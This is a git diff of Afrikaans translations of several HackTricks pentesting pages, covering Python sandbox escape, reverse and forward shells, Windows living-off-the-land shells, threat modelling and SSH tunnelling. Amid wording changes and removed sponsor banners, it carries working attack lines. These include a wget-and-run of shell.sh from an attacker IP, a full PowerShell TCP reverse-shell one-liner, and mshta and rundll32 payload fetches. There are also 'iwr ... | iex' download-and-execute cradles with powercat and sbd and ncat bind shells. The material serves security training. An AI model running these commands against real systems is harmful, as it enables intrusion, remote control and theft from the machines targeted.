In vorige voorbeelde aan die begin van hierdie pos, kan jy **hoe om enige python kode uit te voer met die `compile` funksie** sien. Dit is interessant omdat jy **hele skripte** met lusse en alles in 'n **eenlyn** kan **uitvoer** (en ons kan dieselfde doen met **`exec`**).\
In elk geval, soms kan dit nuttig wees om 'n **gecompileerde objek** op 'n plaaslike masjien te **skep** en dit in die **CTF masjien** uit te voer (byvoorbeeld omdat ons nie die `compiled` funksie in die CTF het nie).
Byvoorbeeld, kom ons compileer en voer handmatig 'n funksie uit wat _./poc.py_ lees:
@ -1018,7 +1010,7 @@ Met die gebruik van gereedskap soos [**https://www.decompiler.com/**](https://ww
### Assert
Python wat met optimalisering uitgevoer word met die param `-O` sal assert stellings en enige kode wat voorwaardelik is op die waarde van **debug** verwyder.\
Python wat met optimalisering uitgevoer word met die parameter `-O` sal assert stellings en enige kode wat voorwaardelik is op die waarde van **debug** verwyder.\
Daarom, kontroles soos
```python
def check_permission(super_user):
@ -1039,15 +1031,10 @@ will be bypassed
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
**Probeer Hard Sekuriteitsgroep**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,15 +15,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
**As jy vrae het oor enige van hierdie shells kan jy dit nagaan met** [**https://explainshell.com/**](https://explainshell.com)
**As jy vrae het oor enige van hierdie shells kan jy dit nagaan by** [**https://explainshell.com/**](https://explainshell.com)
## Volle TTY
@ -68,7 +60,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
```
## Forward Shell
Wanneer jy met 'n **Remote Code Execution (RCE)** kwesbaarheid binne 'n Linux-gebaseerde webtoepassing werk, kan die verkryging van 'n reverse shell belemmer word deur netwerkverdedigings soos iptables-reëls of ingewikkelde pakketfiltering meganismes. In sulke beperkte omgewings behels 'n alternatiewe benadering die vestiging van 'n PTY (Pseudo Terminal) shell om meer effektief met die gecompromitteerde stelsel te kommunikeer.
Wanneer jy met 'n **Remote Code Execution (RCE)** kwesbaarheid binne 'n Linux-gebaseerde webtoepassing werk, kan die verkryging van 'n reverse shell belemmer word deur netwerkverdedigings soos iptables-reëls of ingewikkelde pakketfiltermeganismes. In sulke beperkte omgewings behels 'n alternatiewe benadering die vestiging van 'n PTY (Pseudo Terminal) shell om meer effektief met die gecompromitteerde stelsel te kommunikeer.
'n Aanbevole hulpmiddel vir hierdie doel is [toboggan](https://github.com/n3rada/toboggan.git), wat interaksie met die teikenomgewing vereenvoudig.
@ -102,7 +94,7 @@ toboggan -m nix.py -i
```
Om 'n interaktiewe skulp direk te benut. Jy kan `-b` byvoeg vir Burpsuite integrasie en die `-i` verwyder vir 'n meer basiese rce-wrapper.
'n Ander moontlikheid bestaan uit die gebruik van die `IppSec` voorwaartse skulpimplementering [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
'n Ander moontlikheid bestaan uit die gebruik van die `IppSec` voorwaartse skulp implementering [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
Jy moet net die volgende aanpas:
@ -340,12 +332,6 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,17 +15,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Lolbas
Die bladsy [lolbas-project.github.io](https://lolbas-project.github.io/) is vir Windows soos [https://gtfobins.github.io/](https://gtfobins.github.io/) vir linux.\
Die bladsy [lolbas-project.github.io](https://lolbas-project.github.io/) is vir Windows soos [https://gtfobins.github.io/](https://gtfobins.github.io/) vir linux is.\
Dit is duidelik, **daar is geen SUID lêers of sudo regte in Windows nie**, maar dit is nuttig om te weet **hoe** sommige **binaries** (mis)bruik kan word om 'n soort onverwagte aksies uit te voer soos **arbitraire kode uit te voer.**
## NC
@ -47,7 +39,7 @@ ncat -l <PORT eg.443> --ssl
```
## SBD
**[sbd](https://www.kali.org/tools/sbd/) is 'n draagbare en veilige Netcat alternatief**. Dit werk op Unix-agtige stelsels en Win32. Met funksies soos sterk versleuteling, programuitvoering, aanpasbare bronpoorte, en deurlopende herverbinding, bied sbd 'n veelsydige oplossing vir TCP/IP kommunikasie. Vir Windows gebruikers kan die sbd.exe weergawe van die Kali Linux verspreiding as 'n betroubare vervanging vir Netcat gebruik word.
**[sbd](https://www.kali.org/tools/sbd/) is 'n draagbare en veilige Netcat alternatief**. Dit werk op Unix-agtige stelsels en Win32. Met funksies soos sterk versleuteling, program uitvoering, aanpasbare bronpoorte, en deurlopende herverbinding, bied sbd 'n veelsydige oplossing vir TCP/IP kommunikasie. Vir Windows gebruikers kan die sbd.exe weergawe van die Kali Linux verspreiding as 'n betroubare vervanging vir Netcat gebruik word.
```bash
# Victims machine
sbd -l -p 4444 -e bash -v -n
@ -109,11 +101,11 @@ powershell -exec bypass -f \\webdavserver\folder\payload.ps1
Proses wat netwerkoproep uitvoer: **svchost.exe**\
Payload op skyf geskryf: **WebDAV-kliënt plaaslike kas**
**Een-liner:**
**Een liner:**
```bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
**Kry meer inligting oor verskillende Powershell-shelle aan die einde van hierdie dokument**
**Kry meer inligting oor verskillende Powershell Shells aan die einde van hierdie dokument**
## Mshta
@ -181,14 +173,14 @@ msf exploit(windows/misc/hta_server) > exploit
```bash
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
```
**Gevind deur verdediger**
**Gedeelte deur verdediger**
## **Rundll32**
[**Dll hello world voorbeeld**](https://github.com/carterjones/hello-world-dll)
[**Dll hallo wêreld voorbeeld**](https://github.com/carterjones/hello-world-dll)
* [Van hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
@ -365,7 +357,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
## **CSC**
Compileer C# kode op die slagoffer masjien.
Compileer C# kode in die slagoffer masjien.
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
```
@ -448,7 +440,7 @@ Skep 'n powershell-lanser, stoor dit in 'n lêer en laai dit af en voer dit uit.
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
**Gedig as kwaadwillige kode**
**Gevind as kwaadwillige kode**
### MSF-Unicorn
@ -471,7 +463,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
## Meer
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS-konsol met 'n paar offensiewe PS-modules vooraf gelaai (gecyfer)\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9)[\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) PS-konsol met 'n paar offensiewe PS-modules en proxy-detektering (IEX)
## Verwysings
@ -483,16 +475,11 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS-konsol met 'n paar offensie
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -500,7 +487,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,58 +1,45 @@
# Bedreigingsmodellering
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjins wat **gratis** funksionaliteite bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** **gekompromiteer** is.
Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Bedreigingsmodellering
Welkom by HackTricks se omvattende gids oor Bedreigingsmodellering! Begin 'n verkenning van hierdie kritieke aspek van sibersekerheid, waar ons potensiële kwesbaarhede in 'n stelsel identifiseer, verstaan, en daarteen strategiseer. Hierdie draad dien as 'n stap-vir-stap-gids propvol werklike voorbeelde, nuttige sagteware, en maklik verstaanbare verduidelikings. Ideaal vir beide beginners en ervare beoefenaars wat hul sibersekerheidsverdediging wil versterk.
Welkom by HackTricks se omvattende gids oor Bedreigingsmodellering! Begin 'n verkenning van hierdie kritieke aspek van kuberveiligheid, waar ons potensiële kwesbaarhede in 'n stelsel identifiseer, verstaan en strategieë ontwikkel om teen hulle te veg. Hierdie draad dien as 'n stap-vir-stap gids vol werklike voorbeelde, nuttige sagteware en maklik verstaanbare verduidelikings. Ideaal vir beide beginners en ervare praktisyns wat hul kuberveiligheid verdediging wil versterk.
### Gewoonlik Gebruikte Scenarios
### Gewoonlik Gebruikte Scenario's
1. **Sagteware-ontwikkeling**: As deel van die Veilige Sagteware-ontwikkelingslewensiklus (SSDLC) help bedreigingsmodellering om **potensiële bronne van kwesbaarhede** in die vroeë stadiums van ontwikkeling te identifiseer.
2. **Pentesting**: Die Pentesting-uitvoeringsstandaard (PTES) raamwerk vereis **bedreigingsmodellering om die stelsel se kwesbaarhede te verstaan** voordat die toets uitgevoer word.
1. **Sagteware Ontwikkeling**: As deel van die Veilige Sagteware Ontwikkelingslewe Siklus (SSDLC), help bedreigingsmodellering in **die identifisering van potensiële bronne van kwesbaarhede** in die vroeë stadiums van ontwikkeling.
2. **Penetrasietoetsing**: Die Penetrasietoetsing Uitvoeringsstandaard (PTES) raamwerk vereis **bedreigingsmodellering om die stelsel se kwesbaarhede te verstaan** voordat die toets uitgevoer word.
### Bedreigingsmodel in 'n neutedop
### Bedreigingsmodel in 'n Neutedop
'n Bedreigingsmodel word tipies voorgestel as 'n diagram, beeld, of 'n ander vorm van visuele voorstelling wat die beplande argitektuur of bestaande bou van 'n aansoek uitbeeld. Dit vertoon ooreenkomste met 'n **data vloeidiagram**, maar die sleutelonderskeid lê in sy veiligheidsgeoriënteerde ontwerp.
'n Bedreigingsmodel word tipies voorgestel as 'n diagram, beeld, of 'n ander vorm van visuele illustrasie wat die beplande argitektuur of bestaande bou van 'n toepassing uitbeeld. Dit is soortgelyk aan 'n **data vloei diagram**, maar die sleutelonderskeid lê in die sekuriteitsgerigte ontwerp.
Bedreigingsmodelle bevat dikwels elemente wat in rooi gemerk is, wat potensiële kwesbaarhede, risiko's, of hindernisse simboliseer. Om die proses van risiko-identifikasie te stroomlyn, word die CIA (Vertroulikheid, Integriteit, Beskikbaarheid) driehoek gebruik, wat die basis vorm van baie bedreigingsmodelleringsmetodologieë, met STRIDE wat een van die mees algemene is. Die gekose metodologie kan egter wissel afhangende van die spesifieke konteks en vereistes.
Bedreigingsmodelle bevat dikwels elemente wat in rooi gemerk is, wat potensiële kwesbaarhede, risiko's of hindernisse simboliseer. Om die proses van risiko-identifikasie te stroomlyn, word die CIA (Vertroulikheid, Integriteit, Beskikbaarheid) triade gebruik, wat die basis vorm van baie bedreigingsmodellering metodologieë, met STRIDE as een van die mees algemene. Die gekose metodologie kan egter wissel, afhangende van die spesifieke konteks en vereistes.
### Die CIA Driehoek
### Die CIA Triade
Die CIA Driehoek is 'n wyd erken model in die veld van inligtingsekuriteit, wat staan vir Vertroulikheid, Integriteit, en Beskikbaarheid. Hierdie drie pilare vorm die fondament waarop baie sekuriteitsmaatreëls en -beleide gebou word, insluitend bedreigingsmodelleringsmetodologieë.
Die CIA Triade is 'n algemeen erkende model in die veld van inligtingsveiligheid, wat staan vir Vertroulikheid, Integriteit, en Beskikbaarheid. Hierdie drie pilare vorm die grondslag waarop baie sekuriteitsmaatreëls en -beleide gebou word, insluitend bedreigingsmodellering metodologieë.
1. **Vertroulikheid**: Verseker dat die data of stelsel nie deur ongemagtigde individue benader word nie. Dit is 'n sentrale aspek van sekuriteit wat toepaslike toegangsbeheer, enkripsie, en ander maatreëls vereis om data-oortredings te voorkom.
2. **Integriteit**: Die akkuraatheid, konsekwentheid, en betroubaarheid van die data oor sy lewensiklus. Hierdie beginsel verseker dat die data nie deur ongemagtigde partye verander of geskend word nie. Dit behels dikwels kontrolesomme, hasing, en ander data-verifikasiemetodes.
3. **Beskikbaarheid**: Dit verseker dat data en dienste toeganklik is vir gemagtigde gebruikers wanneer dit benodig word. Dit behels dikwels oorbodigheid, fouttoleransie, en hoë-beskikbaarheidskonfigurasies om stelsels selfs te laat werk in die aangesig van onderbrekings.
1. **Vertroulikheid**: Verseker dat die data of stelsel nie deur ongeoorloofde individue toegang verkry word nie. Dit is 'n sentrale aspek van sekuriteit, wat toepaslike toegangbeheer, versleuteling, en ander maatreëls vereis om datalekke te voorkom.
2. **Integriteit**: Die akkuraatheid, konsekwentheid, en betroubaarheid van die data oor sy lewensiklus. Hierdie beginsel verseker dat die data nie deur ongeoorloofde partye verander of gemanipuleer word nie. Dit behels dikwels kontrole, hashing, en ander data-verifikasiemetodes.
3. **Beskikbaarheid**: Dit verseker dat data en dienste beskikbaar is vir geautoriseerde gebruikers wanneer nodig. Dit behels dikwels redundansie, fouttoleransie, en hoë-beskikbaarheid konfigurasies om stelsels aan die gang te hou, selfs in die gesig van onderbrekings.
### Bedreigingsmodelleringsmetodologieë
### Bedreigingsmodellering Metodologieë
1. **STRIDE**: Ontwikkel deur Microsoft, STRIDE is 'n akroneem vir **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, en Elevation of Privilege**. Elke kategorie verteenwoordig 'n tipe bedreiging, en hierdie metodologie word gewoonlik in die ontwerpfase van 'n program of stelsel gebruik om potensiële bedreigings te identifiseer.
2. **DREAD**: Dit is 'n ander metodologie van Microsoft wat gebruik word vir risiko-assessering van geïdentifiseerde bedreigings. DREAD staan vir **Damage potential, Reproducibility, Exploitability, Affected users, en Discoverability**. Elkeen van hierdie faktore word geskore, en die resultaat word gebruik om geïdentifiseerde bedreigings te prioritiseer.
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Dit is 'n sewe-stap, **risiko-sentriese** metodologie. Dit sluit in die definisie en identifisering van sekuriteitsdoelwitte, die skep van 'n tegniese omvang, aansoekontbinding, bedreigingsanalise, kwesbaarheidsanalise, en risiko/triage-assessering.
4. **Trike**: Dit is 'n risiko-gebaseerde metodologie wat fokus op die verdediging van bates. Dit begin vanuit 'n **risikobestuurs**-perspektief en kyk na bedreigings en kwesbaarhede in daardie konteks.
5. **VAST** (Visual, Agile, en Simple Threat modeling): Hierdie benadering streef daarna om meer toeganklik te wees en te integreer in Agile-ontwikkelingsomgewings. Dit kombineer elemente van die ander metodologieë en fokus op **visuele voorstellings van bedreigings**.
6. **OCTAVE** (Operationally Critical Threat, Asset, en Vulnerability Evaluation): Ontwikkel deur die CERT Coordination Center, hierdie raamwerk is gerig op **organisatoriese risiko-assessering eerder as spesifieke stelsels of sagteware**.
1. **STRIDE**: Ontwikkel deur Microsoft, STRIDE is 'n akroniem vir **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Elke kategorie verteenwoordig 'n tipe bedreiging, en hierdie metodologie word algemeen gebruik in die ontwerpfase van 'n program of stelsel om potensiële bedreigings te identifiseer.
2. **DREAD**: Dit is 'n ander metodologie van Microsoft wat gebruik word vir risiko-assessering van geïdentifiseerde bedreigings. DREAD staan vir **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Elke van hierdie faktore word gegradeer, en die resultaat word gebruik om geïdentifiseerde bedreigings te prioriseer.
3. **PASTA** (Proses vir Aanvalsimulasie en Bedreigingsanalise): Dit is 'n sewe-stap, **risiko-georiënteerde** metodologie. Dit sluit die definisie en identifisering van sekuriteitsdoelwitte in, die skep van 'n tegniese omvang, toepassingsdekomposisie, bedreigingsanalise, kwesbaarheidsanalise, en risiko/triage-assessering.
4. **Trike**: Dit is 'n risiko-gebaseerde metodologie wat fokus op die verdediging van bates. Dit begin vanuit 'n **risikobestuur** perspektief en kyk na bedreigings en kwesbaarhede in daardie konteks.
5. **VAST** (Visueel, Agile, en Eenvoudige Bedreigingsmodellering): Hierdie benadering streef daarna om meer toeganklik te wees en integreer in Agile ontwikkelingsomgewings. Dit kombineer elemente van die ander metodologieë en fokus op **visuele voorstellings van bedreigings**.
6. **OCTAVE** (Operationeel Kritieke Bedreiging, Bates, en Kwesbaarheid Evaluasie): Ontwikkel deur die CERT Koördinasiesentrum, is hierdie raamwerk gerig op **organisatoriese risiko-assessering eerder as spesifieke stelsels of sagteware**.
## Gereedskap
Daar is verskeie gereedskap en sagteware-oplossings beskikbaar wat kan **help** met die skep en bestuur van bedreigingsmodelle. Hier is 'n paar wat jy kan oorweeg.
Daar is verskeie gereedskap en sagteoplossings beskikbaar wat kan **help** met die skepping en bestuur van bedreigingsmodelle. Hier is 'n paar wat jy mag oorweeg.
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
'n Gevorderde kruisplatform en multi-funksie GUI-webspinnekop/kruiper vir sibersekerheidsprofessionals. Spider Suite kan gebruik word vir aanvalsoppervlakafbeelding en -analise.
'n Gevorderde kruis-platform en multi-funksie GUI web spinnekop/kruiper vir kuberveiligheid professionele. Spider Suite kan gebruik word vir aanvaloppervlak kartering en analise.
**Gebruik**
@ -60,13 +47,13 @@ Daar is verskeie gereedskap en sagteware-oplossings beskikbaar wat kan **help**
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_1.png" alt=""><figcaption></figcaption></figure>
2. Sien Grafiek
2. Bekyk Grafiek
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_2.png" alt=""><figcaption></figcaption></figure>
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
'n Oopbronprojek van OWASP, Threat Dragon is beide 'n web- en lessenaarprogram wat stelseldiagrammering insluit, sowel as 'n reël-enjin om bedreigings/mitigasies outomaties te genereer.
'n Open-source projek van OWASP, Threat Dragon is beide 'n web- en desktoptoepassing wat stelseldiagrammering insluit sowel as 'n reël-enjin om bedreigings/mitigasies outomaties te genereer.
**Gebruik**
@ -74,7 +61,7 @@ Daar is verskeie gereedskap en sagteware-oplossings beskikbaar wat kan **help**
<figure><img src="../.gitbook/assets/create_new_project_1.jpg" alt=""><figcaption></figcaption></figure>
Soms kan dit so lyk:
Soms kan dit soos volg lyk:
<figure><img src="../.gitbook/assets/1_threatmodel_create_project.jpg" alt=""><figcaption></figcaption></figure>
@ -88,21 +75,21 @@ Soms kan dit so lyk:
4. Skep jou model
Jy kan gereedskappe soos SpiderSuite Kruiper gebruik om jou inspirasie te gee, 'n basiese model sou iets soos dit lyk
Jy kan gereedskap soos SpiderSuite Crawler gebruik om jou inspirasie te gee, 'n basiese model kan iets soos hierdie lyk
<figure><img src="../.gitbook/assets/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
Net 'n bietjie verduideliking oor die entiteite:
* Proses (Die entiteit self soos Webbediener of webfunksionaliteit)
* Akteur ( 'n Persoon soos 'n Webwerfbesoeker, Gebruiker of Administrateur)
* Data Vloei Lyn (Aanwyser van Interaksie)
* Vertrouensgrens (Verskillende netwerksegmente of -omvang)
* Proses (Die entiteit self soos Webbediener of web funksionaliteit)
* Akteur ( 'n Persoon soos 'n Webwerf Besoeker, Gebruiker of Administrateur)
* Data Vloei Lyn (Aanduiding van Interaksie)
* Vertroue Grens (Verskillende netwerksegmente of skope.)
* Stoor (Dinge waar data gestoor word soos Databasisse)
5. Skep 'n Bedreiging (Stap 1)
Eerstens moet jy die laag kies waar jy 'n bedreiging wil byvoeg
Eerstens moet jy die laag kies waaraan jy 'n bedreiging wil toevoeg
<figure><img src="../.gitbook/assets/3_threatmodel_chose-threat-layer.jpg" alt=""><figcaption></figcaption></figure>
@ -110,27 +97,16 @@ Nou kan jy die bedreiging skep
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
Hou in gedagte dat daar 'n verskil is tussen Akteurbedreigings en Prosesbedreigings. As jy 'n bedreiging by 'n Akteur sou voeg, sal jy slegs "Spoofing" en "Repudiation" kan kies. In ons voorbeeld voeg ons egter 'n bedreiging by 'n Prosesentiteit, sodat ons dit in die bedreigingskeppingkas sal sien:
Hou in gedagte dat daar 'n verskil is tussen Akteur Bedreigings en Proses Bedreigings. As jy 'n bedreiging aan 'n Akteur sou toevoeg, sal jy slegs "Spoofing" en "Repudiation" kan kies. In ons voorbeeld voeg ons egter 'n bedreiging aan 'n Proses entiteit toe, so ons sal dit in die bedreiging skeppingskassie sien:
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
6. Klaar
Nou behoort jou voltooide model iets soos dit te lyk. En dit is hoe jy 'n eenvoudige bedreigingsmodel met OWASP Threat Dragon maak.
Nou behoort jou voltooide model iets soos hierdie te lyk. En dit is hoe jy 'n eenvoudige bedreigingsmodel met OWASP Threat Dragon maak.
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
Dit is 'n gratis hulpmiddel van Microsoft wat help om bedreigings in die ontwerpfase van sagtewareprojekte te vind. Dit maak gebruik van die STRIDE-metodologie en is veral geskik vir diegene wat op Microsoft se stapel ontwikkel.
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe malware** **gekompromiteer** is.
Hul primêre doel van WhiteIntel is om rekening-oorneem te bekamp en lospryse aanvalle wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
Dit is 'n gratis gereedskap van Microsoft wat help om bedreigings in die ontwerpfase van sagtewareprojekte te vind. Dit gebruik die STRIDE metodologie en is veral geskik vir diegene wat op Microsoft se stapel ontwikkel.

View file

@ -15,14 +15,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Nmap tip
{% hint style="warning" %}
@ -53,9 +45,9 @@ SSH grafiese verbinding (X)
```bash
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
```
### Plaaslike Port2Port
### Lokale Port2Port
Maak nuwe Poort in SSH-bediener --> Ander poort
Open nuwe poort in SSH-bediener --> Ander poort
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
@ -77,9 +69,9 @@ Plaaslike Poort --> Gecompromitteerde gasheer (SSH) --> Enige plek
```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```
### Omgekeerde Poort Voorwaartse
